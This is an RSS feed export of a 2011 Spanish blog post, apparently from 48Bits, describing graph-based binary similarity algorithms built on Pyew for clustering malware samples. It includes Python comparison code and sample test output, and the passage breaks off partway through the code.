<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>48Bits Blog &#187; 48Bits Projects</title>
	<atom:link href="http://blog.48bits.com/category/48bits-projects/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.48bits.com</link>
	<description>48Bits ... The one and a half architecture land.</description>
	<lastBuildDate>Thu, 19 Jan 2012 11:31:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Comparación de binarios por grafo</title>
		<link>http://blog.48bits.com/2011/01/23/comparacion-de-binarios-por-grafo/</link>
		<comments>http://blog.48bits.com/2011/01/23/comparacion-de-binarios-por-grafo/#comments</comments>
		<pubDate>Sun, 23 Jan 2011 18:33:44 +0000</pubDate>
		<dc:creator>matalaz</dc:creator>
				<category><![CDATA[48Bits Projects]]></category>
		<category><![CDATA[Malware Analysis]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1694</guid>
		<description><![CDATA[Hace ya bastante tiempo me puse a mirar como buscar similitudes entre programas basándose exclusivamente en grafos y estadísticas de los mismos, procurando huir siempre que fuera posible del código ensamblador, con la ayuda de muchas ideas de la gente de 48bits, especialmente. La idea es poder buscar similitudes entre múltiples binarios para agruparlos (por [...]]]></description>
			<content:encoded><![CDATA[<p>Hace ya bastante tiempo me puse a mirar como buscar similitudes entre programas basándose exclusivamente en grafos y estadísticas de los mismos, procurando huir siempre que fuera posible del código ensamblador, con la ayuda de muchas ideas de la gente de 48bits, especialmente. La idea es poder buscar similitudes entre múltiples binarios para agruparlos (por ejemplo, para crear subgrupos de baterías de malware similares a partir de una batería más grande) o comparar 2 binarios y extraer sus similitudes (útil para buscar vulnerabilidades corregidas en parches, aunque este post no va de eso). El resultado de todo esto es una serie de algoritmos &#8220;WorksForMe&#8221; (TM) qué he implementado utilizando <a href="http://pyew.googlecode.com" target="_blank">Pyew</a> (inicialmente la idea era utilizar IDA pero, a pesar de que funcione mejor, me gusta más utilizar software libre y a poder ser mío, manías).<br />
<span id="more-1694"></span></p>
<p><strong>¿Qué coño es eso de Pyew?</strong></p>
<p>Para quienes no lo conozcan, <a href="http://pyew.googlecode.com" target="_blank">Pyew</a> es un proyecto Open Source muy similar a <a href="http://radare.org">radare</a> o hiew, escrito en Python y principalmente orientado a la automatización de análisis de malware. Pyew tiene soporte para muchos formatos de archivo (PDF, OLE2, &#8230;) pero los que nos importan ahora son PEs y ELF (aunque el soporte de ELF no es muy bueno que se diga).</p>
<p><strong>Análisis de código</strong></p>
<p>Cuando abrimos un archivo de este tipo (PE o ELF) Pyew realiza análisis de código para encontrar las funciones que se encuentren en este binario. Utiliza un algoritmo muy similar al de IDA: Analiza, instrucción por instrucción, todos los puntos de entrada del binario y va buscando llamadas a funciones, poniéndolas en una cola para posterior análisis, hasta agotar todos los elementos de dicha cola (podéis leer más del algoritmo utilizado en Pyew <a href="http://code.google.com/p/pyew/wiki/CodeAnalysis" target="_blank">aquí</a>). Después de este paso, opcionalmente, se pondrá a buscar funciones buscando los prólogos de función más típicos de x86 y x86_64.</p>
<p>Una vez que el análisis ha finalizado, se realizan unos cálculos estadísticos, y se obtienen muchos datos interesantes para la agrupación o búsqueda de similitudes, siendo los más importantes los siguientes:</p>
<ul>
<li>Funciones.</li>
<li><a href="http://en.wikipedia.org/wiki/Basic_block" target="_blank">Bloques básicos</a>.</li>
<li>Datos estadísticos de cada función (<a href="http://es.wikipedia.org/wiki/V%C3%A9rtice_%28teor%C3%ADa_de_grafos%29#V.C3.A9rtices_y_grados" target="_blank">grado</a> de entrada, de salida y <a href="http://es.wikipedia.org/wiki/Complejidad_ciclom%C3%A1tica" target="_blank">complejidad ciclomática</a>).</li>
<li>Datos estadísticos del programa (media, máxima y mínima del número de <a href="http://es.wikipedia.org/wiki/V%C3%A9rtice_%28teor%C3%ADa_de_grafos%29" target="_blank">nodos</a>, <a href="http://es.wikipedia.org/wiki/Arista_%28teor%C3%ADa_de_grafos%29" target="_blank">aristas</a> y valores de complejidad ciclomática).</li>
</ul>
<p>Explicado lo básico, vamos a ver los algoritmos que he implementado.</p>
<p><strong>Algoritmo 1: Sistema experto</strong></p>
<p>Esta fue una de las primeras ideas que tuve: Teniendo los datos de complejidad ciclomática media, máxima, mínima así como el número de funciones de un binario, esto se podría utilizar como un hash para comparar, rápidamente, 2 o varios binarios. Si todos los datos son iguales, los binarios son clasificados como &#8220;100% similares&#8221; (que no iguales). Si no lo son, entonces se calcula la distancia de estos valores y se le asigna un porcentaje a cada valor sacado:</p>
<ul>
<li>Media de la complejidad ciclomática: 50% de la diferencia.</li>
<li>Máxima de la complejidad ciclomática: 30% de la diferencia.</li>
<li>Mínima de la complejidad ciclomática: 10% de la diferencia.</li>
<li>Total de funciones: 10% de la diferencia.</li>
</ul>
<p>El siguiente es el código de ejemplo utilizado:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="co1">#!/usr/bin/env python</span><br />
<span class="co1"># This code is under the GPLv2</span><br />
<span class="kw1">import</span> <span class="kw3">os</span>, <span class="kw3">sys</span></p>
<p><span class="kw1">from</span> hashlib <span class="kw1">import</span> sha256<br />
<span class="kw1">from</span> pyew_core <span class="kw1">import</span> CPyew</p>
<p><span class="kw1">class</span> CExpertCluster<span class="br0">&#40;</span><span class="kw2">object</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; <span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>, data<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">data</span> = data</p>
<p>&nbsp; &nbsp; <span class="kw1">def</span> compareTwoSets<span class="br0">&#40;</span><span class="kw2">self</span>, set1, set2<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1"># Get the ciclomatic complexity statistical data of the 2 samples</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ccs1 = set1.<span class="me1">values</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.<span class="me1">program_stats</span><span class="br0">&#91;</span><span class="st0">&quot;ccs&quot;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ccs2 = set2.<span class="me1">values</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.<span class="me1">program_stats</span><span class="br0">&#91;</span><span class="st0">&quot;ccs&quot;</span><span class="br0">&#93;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; avg_cc_distance = <span class="kw2">abs</span><span class="br0">&#40;</span>ccs1<span class="br0">&#91;</span><span class="st0">&quot;avg&quot;</span><span class="br0">&#93;</span> &#8211; ccs2<span class="br0">&#91;</span><span class="st0">&quot;avg&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; max_cc_distance = <span class="kw2">abs</span><span class="br0">&#40;</span>ccs1<span class="br0">&#91;</span><span class="st0">&quot;max&quot;</span><span class="br0">&#93;</span> &#8211; ccs2<span class="br0">&#91;</span><span class="st0">&quot;max&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; min_cc_distance = <span class="kw2">abs</span><span class="br0">&#40;</span>ccs1<span class="br0">&#91;</span><span class="st0">&quot;min&quot;</span><span class="br0">&#93;</span> &#8211; ccs2<span class="br0">&#91;</span><span class="st0">&quot;min&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; total_functions = <span class="kw2">abs</span><span class="br0">&#40;</span><span class="kw2">len</span><span class="br0">&#40;</span>set1.<span class="me1">values</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.<span class="me1">functions</span><span class="br0">&#41;</span> &#8211; <span class="kw2">len</span><span class="br0">&#40;</span>set2.<span class="me1">values</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.<span class="me1">functions</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; difference = avg_cc_distance*<span class="nu0">0.5</span> + \<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;max_cc_distance*<span class="nu0">0.3</span> + \<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;min_cc_distance*<span class="nu0">0.1</span> + \<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;total_functions*<span class="nu0">0.1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> difference</p>
<p>&nbsp; &nbsp; <span class="kw1">def</span> cluster<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; set1 = <span class="kw2">self</span>.<span class="me1">data</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; set2 = <span class="kw2">self</span>.<span class="me1">data</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">self</span>.<span class="me1">compareTwoSets</span><span class="br0">&#40;</span>set1, set2<span class="br0">&#41;</span></p>
<p><span class="kw1">class</span> CGraphCluster<span class="br0">&#40;</span><span class="kw2">object</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; <span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">clear</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">deep</span> = <span class="kw2">False</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">timeout</span> = <span class="nu0">0</span></p>
<p>&nbsp; &nbsp; <span class="kw1">def</span> addFile<span class="br0">&#40;</span><span class="kw2">self</span>, filename<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">files</span>.<span class="me1">append</span><span class="br0">&#40;</span>filename<span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; <span class="kw1">def</span> clear<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">files</span> = <span class="br0">&#91;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">results</span> = <span class="br0">&#91;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">data</span> = <span class="br0">&#91;</span><span class="br0">&#93;</span></p>
<p>&nbsp; &nbsp; <span class="kw1">def</span> processFile<span class="br0">&#40;</span><span class="kw2">self</span>, filename<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;[+] Analyzing file %s&quot;</span> % filename<br />
&nbsp; &nbsp; &nbsp; &nbsp; pyew = CPyew<span class="br0">&#40;</span>batch=<span class="kw2">True</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; pyew.<span class="me1">deepcodeanalysis</span> = <span class="kw2">self</span>.<span class="me1">deep</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; pyew.<span class="me1">analysis_timeout</span> = <span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; pyew.<span class="me1">loadFile</span><span class="br0">&#40;</span>filename<span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> pyew.<span class="me1">format</span> <span class="kw1">in</span> <span class="br0">&#91;</span><span class="st0">&quot;PE&quot;</span>, <span class="st0">&quot;ELF&quot;</span><span class="br0">&#93;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">hash</span> = sha256<span class="br0">&#40;</span>pyew.<span class="me1">getBuffer</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>.<span class="me1">hexdigest</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">data</span>.<span class="me1">append</span><span class="br0">&#40;</span><span class="br0">&#123;</span><span class="kw2">hash</span>:pyew<span class="br0">&#125;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Not a PE/ELF file&quot;</span></p>
<p>&nbsp; &nbsp; <span class="kw1">def</span> compareExpert<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; cluster = CExpertCluster<span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">data</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; val = cluster.<span class="me1">cluster</span><span class="br0">&#40;</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> val == <span class="nu0">0</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Expert system: Programs are 100% equals&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Expert system: Programs differs in %f%s&quot;</span> % <span class="br0">&#40;</span><span class="kw2">round</span><span class="br0">&#40;</span>val, <span class="nu0">1</span><span class="br0">&#41;</span>, <span class="st0">&quot;%&quot;</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> val</p>
<p>&nbsp; &nbsp; <span class="kw1">def</span> processFiles<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> f <span class="kw1">in</span> <span class="kw2">self</span>.<span class="me1">files</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">processFile</span><span class="br0">&#40;</span>f<span class="br0">&#41;</span></p>
<p><span class="kw1">def</span> main<span class="br0">&#40;</span>prog1, prog2<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; cluster = CGraphCluster<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; cluster.<span class="me1">addFile</span><span class="br0">&#40;</span>prog1<span class="br0">&#41;</span><br />
&nbsp; &nbsp; cluster.<span class="me1">addFile</span><span class="br0">&#40;</span>prog2<span class="br0">&#41;</span><br />
&nbsp; &nbsp; cluster.<span class="me1">processFiles</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; cluster.<span class="me1">compareExpert</span><span class="br0">&#40;</span><span class="br0">&#41;</span></p>
<p><span class="kw1">def</span> usage<span class="br0">&#40;</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Usage:&quot;</span>, <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="st0">&quot;file1 file2&quot;</span></p>
<p><span class="kw1">if</span> __name__ == <span class="st0">&quot;__main__&quot;</span>:<br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#41;</span> != <span class="nu0">3</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; usage<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="kw1">else</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; main<span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>, <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
&nbsp;</div>
<p>Y ahora explico un poco el código. Hay 2 clases:</p>
<ol>
<li>CGraphCluster: Es la clase principal, encargada de analizar los archivos pasados con pyew y guardar sus datos en miembros de la clase.</li>
<li>CExpertCluster: Esta es la clase que se encarga realmente de comparar los 2 binarios, con el algoritmo comentado, a partir de los datos sacados con pyew.</li>
</ol>
<p><strong>Prueba</strong></p>
<p>Para hacer las pruebas voy a coger primero unos cuantos programas de ejemplo muy simples, y compilarlos con Mingw en PEs: <a href="http://pastebin.com/6wCfzEFG" target="_blank">clean.c</a>,<a href="http://pastebin.com/tMHmXr7X" target="_blank"> test.c</a>, <a href="http://pastebin.com/7wfkawMr" target="_blank">test2.c</a>, <a href="http://pastebin.com/gPDJCpha" target="_blank">test3.c</a>,<a href="http://pastebin.com/Vinc0jz0" target="_blank"> test4.c</a> y <a href="http://pastebin.com/qDAhxPhs" target="_blank">test5.c</a>. Y ahora vamos a ver que tal se porta este sistema de comparaciones:</p>
<pre>$ graph_test1.py clean.exe test.exe
[+] Analyzing file clean.exe
[+] Analyzing file test.exe
Expert system: Programs differs in 0.100000%
$ graph_test1.py clean.exe test2.exe
[+] Analyzing file clean.exe
[+] Analyzing file test2.exe
Expert system: Programs differs in 0.900000%
$ graph_test1.py clean.exe test3.exe
[+] Analyzing file clean.exe
[+] Analyzing file test3.exe
Expert system: Programs differs in 0.900000%
$ graph_test1.py clean.exe test4.exe
[+] Analyzing file clean.exe
[+] Analyzing file test4.exe
Expert system: Programs differs in 1.000000%
$ graph_test1.py clean.exe test5.exe
[+] Analyzing file clean.exe
[+] Analyzing file test5.exe
Expert system: Programs differs in 1.000000%
</pre>
<p>Como se puede ver, parece que el sistema funciona medianamente bien con los programas de ejemplo. El siguiente paso es probarlo con malware. Para ese ejemplo he probado con los archivos siguientes:</p>
<pre>e1acaf0572d7430106bd813df6640c2e  HGWC.ex_
73be87d0dbcc5ee9863143022ea62f51  BypassXtrap.ex_
</pre>
<p>Si probamos a comparar esto archivos con, por ejemplo, ssdeep, veremos que nos dice que no se parecen ni en el ano:</p>
<pre>$ ssdeep -b HGWC.ex_ BypassXtrap.ex_
ssdeep,1.0--blocksize:hash:hash,filename
12288:faWzgMg7v3qnCiMErQohh0F4CCJ8lnyC8rm2NY:CaHMv6CorjqnyC8rm2NY,"HGWC.ex_"
49152:C1vqjdC8rRDMIEQAePhBi70tIZDMIEQAevrv5GZS/ZoE71LGc2eC6JI/Cfnc:C1vqj9fAxYmlfACr5GZAVETeDI/Cvc,"BypassXtrap.ex_"
</pre>
<p>Sin embargo, si hacemos la prueba con este script:</p>
<pre>$ graph_test1.py HGWC.ex_ BypassXtrap.ex_
[+] Analyzing file HGWC.ex_
[+] Analyzing file BypassXtrap.ex_
Expert system: Programs are 100% equals
</pre>
<p>Un análisis un poco más en profundidad de los bitxos y tal muestra que ambos están empacados con AutoIt.</p>
<p><strong>Problemas de este algoritmo</strong></p>
<p>Uno de los problemas más claros de este algoritmo es que agrupando por grafo estaríamos agrupando por el packer, si los archivos no están desempacados, como está claro. Sin embargo, a veces, también interesa agrupar por packers (por ejemplo, por packers de malware).</p>
<p>Otro de los problemas es que es relativamente fácil crear colisiones: se podrían hacer binarios que generasen el mismo hash que, por ejemplo, el notepad de Windows, de un modo no demasiado complicado (poniendo funciones que no hagan nada más que cambiar los datos estadísticos).</p>
<p>Además, hay que tener en cuenta otro problema más: Solo vale para comparar 2 archivos, no para comparar grupos de archivos. Aunque siempre se podrían utilizar los datos en que se basa este algoritmo para realizar la agrupación (como se verá en la herramienta ya finalizada).</p>
<p><strong>Algoritmo 2: Comparación con números primos y firma de funciones<br />
</strong></p>
<p>En este caso lo que se hace es coger para cada función los datos de grado de entrada, grado de salida y complejidad ciclomática (una lista [indegree, outdegree, complexity]) y considerar estos 3 datos como la firma de la función (es decir, una función con firma [1, 2, 3] en un binario se considera que es igual a otra función con esa misma firma en otro binario).</p>
<p>Además de obtenerse este conjunto para cada binario, con la complejidad ciclomática de cada función, se obtiene un número primo asociado a su valor y se multiplican todos los valores encontrados excluyendo repetidos. Es decir, si una función tiene complejidad 5, se coge el 5º primo, si la siguiente función tiene complejidad 19, se coge el 19º primo y, suponiendo que un binario solo tuviera estas 2 funciones, el hash rápido generado basado en números primos será la multiplicación del 5º primo * 19º primo. De esta multiplicación, se excluyen aquellas funciones cuya complejidad ciclomática sea 1.</p>
<p>Una vez que se tienen calculados ambos datos (los grupos de firmas de función de cada binario y el hash hecho con números primos) se compara primero el hash, si este es igual, se considera que el binario es &#8220;100% similar&#8221; (repito, que no igual) y ya no es necesario continuar haciendo nada más. En caso de que no coincida el hash, se obtiene el total de elementos de la intersección de ambos conjuntos (estamos suponiendo la comparación de 2 binarios), el total de elementos de la diferencia de conjuntos y el número máximo de elementos de conjuntos (es decir, el mayor del total de elementos del conjunto 1 y conjunto 2). Y, finalmente, con estos datos se procede al cálculo de la diferencia entre ambos binarios.</p>
<p><strong>Menuda mierda de explicación</strong></p>
<p>Ya, no se entiende una oxtia, intentaré explicarme mejor respondiendo a las preguntas típicas acerca de este algoritmo:</p>
<ol>
<li>¿Para qué generas un valor con números primos si luego, en caso de que no coincidan, realizas unas operaciones donde nada tienen que ver los números primos? El valor obtenido multiplicando los números primos se utiliza para hacer una comprobación rápida de 2 o más archivos, es decir, si estoy comparando 100 archivos a la vez, mirar si el valor obtenido es igual es más rápido que comprobar la intersección y diferencia de conjuntos.</li>
<li>¿Cómo se aplica esto para varios archivos? Hoy por hoy, lo hago comparando cada archivo con todos los demás. Es decir, si tengo 100 archivos, haré 100*100 comparaciones.</li>
</ol>
<p><strong>Prueba</strong></p>
<p>Para probar este algoritmo, agregamos el siguiente código al archivo graph_test1.py anterior:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">def</span> primes<span class="br0">&#40;</span>n<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; <span class="kw1">if</span> n==<span class="nu0">2</span>: <span class="kw1">return</span> <span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; <span class="kw1">elif</span> n&lt;<span class="nu0">2</span>: <span class="kw1">return</span> <span class="br0">&#91;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; s=<span class="kw2">range</span><span class="br0">&#40;</span><span class="nu0">3</span>,n<span class="nu0">+1</span>,<span class="nu0">2</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; mroot = n ** <span class="nu0">0.5</span><br />
&nbsp; &nbsp; half=<span class="br0">&#40;</span>n<span class="nu0">+1</span><span class="br0">&#41;</span>/<span class="nu0">2</span><span class="nu0">-1</span><br />
&nbsp; &nbsp; i=<span class="nu0">0</span><br />
&nbsp; &nbsp; m=<span class="nu0">3</span><br />
&nbsp; &nbsp; <span class="kw1">while</span> m &lt;= mroot:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> s<span class="br0">&#91;</span>i<span class="br0">&#93;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j=<span class="br0">&#40;</span>m*m<span class="nu0">-3</span><span class="br0">&#41;</span>/<span class="nu0">2</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s<span class="br0">&#91;</span>j<span class="br0">&#93;</span>=<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span> j&lt;half:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s<span class="br0">&#91;</span>j<span class="br0">&#93;</span>=<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j+=m<br />
&nbsp; &nbsp; &nbsp; &nbsp; i=i<span class="nu0">+1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; m=<span class="nu0">2</span>*i<span class="nu0">+3</span><br />
&nbsp; &nbsp; <span class="kw1">return</span> <span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>+<span class="br0">&#91;</span>x <span class="kw1">for</span> x <span class="kw1">in</span> s <span class="kw1">if</span> x<span class="br0">&#93;</span></p>
<p><span class="kw1">class</span> CPrimesCluster<span class="br0">&#40;</span><span class="kw2">object</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; <span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>, data<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">primes</span> = primes<span class="br0">&#40;</span><span class="nu0">1024</span>*<span class="nu0">1024</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">data</span> = data</p>
<p>&nbsp; &nbsp; <span class="kw1">def</span> generateHash<span class="br0">&#40;</span><span class="kw2">self</span>, pyew<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; val = <span class="nu0">1</span>.<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="me1">dones</span> = <span class="br0">&#91;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; primes_done = <span class="br0">&#91;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> f <span class="kw1">in</span> pyew.<span class="me1">functions</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; nodes, edges, cc = pyew.<span class="me1">function_stats</span><span class="br0">&#91;</span>f<span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> cc &gt; <span class="nu0">1</span> <span class="kw1">and</span> <span class="br0">&#40;</span>nodes, edges, cc<span class="br0">&#41;</span> <span class="kw1">not</span> <span class="kw1">in</span> dones:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p = <span class="kw2">self</span>.<span class="me1">primes</span><span class="br0">&#91;</span>cc<span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> p <span class="kw1">not</span> <span class="kw1">in</span> primes_done:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; val *= p<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; primes_done.<span class="me1">append</span><span class="br0">&#40;</span>p<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dones.<span class="me1">append</span><span class="br0">&#40;</span><span class="br0">&#40;</span>nodes, edges, cc<span class="br0">&#41;</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> val, dones</p>
<p>&nbsp; &nbsp; <span class="kw1">def</span> compareManySets<span class="br0">&#40;</span><span class="kw2">self</span>, <span class="kw3">sets</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; files = <span class="br0">&#123;</span><span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; primes = <span class="br0">&#123;</span><span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; values = <span class="br0">&#123;</span><span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;File1;File2;Difference&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> s <span class="kw1">in</span> <span class="kw3">sets</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pyew = s.<span class="me1">values</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><br />
